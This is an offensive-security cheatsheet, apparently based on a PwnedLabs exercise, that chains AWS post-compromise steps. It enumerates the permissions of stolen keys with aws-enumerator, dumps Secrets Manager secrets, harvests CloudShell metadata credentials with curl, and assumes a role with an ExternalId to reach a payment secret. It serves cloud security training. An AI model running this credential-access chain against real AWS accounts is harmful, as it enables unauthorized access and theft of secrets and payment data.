Cheatsheet - AWS - Scenario - aws-enumerator and SecretsManager for credential access.

Overview

Utilise aws-enumerator to enumerate the permissions associated with a compromised principal.

We then conduct some recon of SecretsManager to locate more credentials.

Service/Tool: aws-enumerator, secretsmanager
Use Case:
Prerequisites:
Compromised AWS access key and secret.


Attack Workflow

1. Step 1 (Discovery/Access)

Objective: Install aws-enumerator and enumerate the permissions associated with the compromised access keys.
Command/Method:

We can install aws-enumerator with the following command:

go install -v github.com/shabarkin/aws-enumerator@latest

Once installed we can set the compromised credentials within aws-enumerator with the command aws-enumerator cred , then run the following command to begin enumerating the various permissions available to the compromised account:

./aws-enumerator enum -services all



Message:  Successful ROUTE53RESOLVER: 0 / 3
Message:  Successful SECRETSMANAGER: 1 / 2
Message:  Successful SAGEMAKER: 0 / 15

In the output we can see that we have some permissions within the SECRETSMANAGER service.

We can dig deeper in to these permissions with the following:

aws-enumerator dump -services secretsmanager


---------------------------------------------------------------------- SECRETSMANAGER ----------------------------------------------------------------------

ListSecrets

Per the output of the above we can see that we have access ListSecrets within the SecretsManager service.

The AWS documentation for this endpoint tells us that users with this permission can: ```

Lists the secrets that are stored by Secrets Manager in the AWS account, not including secrets that are marked for deletion. To see secrets marked for deletion, use the Secrets Manager console.

2. Step 2 (Enumerate SecretsManager)

Objective: Utilise the AWS CLI to enumerate SecretsManager to locate more credentials.
Command/Method:

We can enumerate the SecretsManager service via the following command:

aws secretsmanager list-secrets --query 'SecretList[*].[Name, Description, ARN]' --output json



    [
        "employee-database-admin",
        "Admin access to MySQL employee database",
        "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-admin-Bs8G8Z"
    ],
    [
        "employee-database",
        "Access to MySQL employee database",
        "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-rpkQvl"
    ],
    [
        "ext/cost-optimization",
        "Allow external partner to access cost optimization user and Huge Logistics resources",
        "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4"
    ],
    [
        "billing/hl-default-payment",
        "Access to the default payment card for Huge Logistics",
        "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
    ]
]

From here we can attempt to retrieve the secrets from each:

aws secretsmanager get-secret-value --secret-id ext/cost-optimization

Running this command returns a set of credentials that we can use (luckly for us!) to authenticate to the AWS console.


3. Step 3 (Retrieve AWS keys for our console user)

Objective: Pivot from the AWS console to retrieve AWS keys for easier permission enumeration.
Command/Method:

Enumerating permissions via the AWS console can be tricky. We can attempt to retrieve AWS keys for console user so that we can use aws-enumerator to enumerate the user's permissions. One way to do this is if our user has access to the Cloud Shell:

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 600")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"

Doing so provides us with a set of temporary access keys that we can set via aws configure and then enumerate the user's permissions.


4. Step 4 (Enumerate permissions (again) of our new user)

Objective: Enumerate the permissions of newly compromised user and perform some further reconnaissance of attached IAM policies.
Command/Method:

We can once again load up aws_enumerator to run through the permissions of our new account (don't forget to set the new credentials first!) via the following:

./aws-enumerator enum -services all

The output of this command did not yield much of interest. Next we will turn our attention to the IAM information we can enumerate from via this account manually.

During the course of this enumeration activity we locate the following role with an interesting condition for assuming the role:

{
    "Role": {
        "Path": "/",
        "RoleName": "ExternalCostOpimizeAccess",
        "RoleId": "AROAWHEOTHRFZP3NQR7WN",
        "Arn": "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
        "CreateDate": "2023-08-04T21:09:30+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::427648302155:user/ext-cost-user"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "StringEquals": {
                            "sts:ExternalId": "37911"
                        }
                    }
                }
            ]
        }

Of note, the ExternalId parameter with a value of 37911 must be provided in order to the user ext-cost-user can assume this role. The AWS documentationtells us that this parameter is used for:

 unique identifier that might be required when you assume a role in another account. If the administrator of the account to which the role belongs provided you with an external ID, then provide that value in the `ExternalId` parameter. This value can be any string, such as a passphrase or account number. A cross-account role is usually set up to trust everyone in an account. Therefore, the administrator of the trusting account might send an external ID to the administrator of the trusted account. That way, only someone with the ID can assume the role, rather than everyone in the account.

Next we located the policy associated with this role via the command:

aws iam list-attached-role-policies --role-name ExternalCostOpimizeAccess
{
    "AttachedPolicies": [
        {
            "PolicyName": "Payment",
            "PolicyArn": "arn:aws:iam::427648302155:policy/Payment"
        }
    ]
}

Querying this policy shows us that the policy would allow us to retrieve further SecretsManager credentials should we assume the role:

aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Payment --version-id v2
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "secretsmanager:GetSecretValue",
                        "secretsmanager:DescribeSecret",
                        "secretsmanager:ListSecretVersionIds"
                    ],
                    "Resource": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "secretsmanager:ListSecrets",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-04T22:34:19+00:00"
    }
}

We can then assume the role via the following command, ensuring the provide the --external-id switch in order to supply the value of 37911 noted earlier:

aws sts assume-role --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess --role-session-name AWSCLI --external-id 37911

Doing so provides us with valid temporary access keys that we can then use further to query the aforementioned SecretsManager secret ID.


Notes and References

Links:
AWS - AssumeRole (see ExternalId section)
PwnedLabs - ### Assume Privileged Role with External ID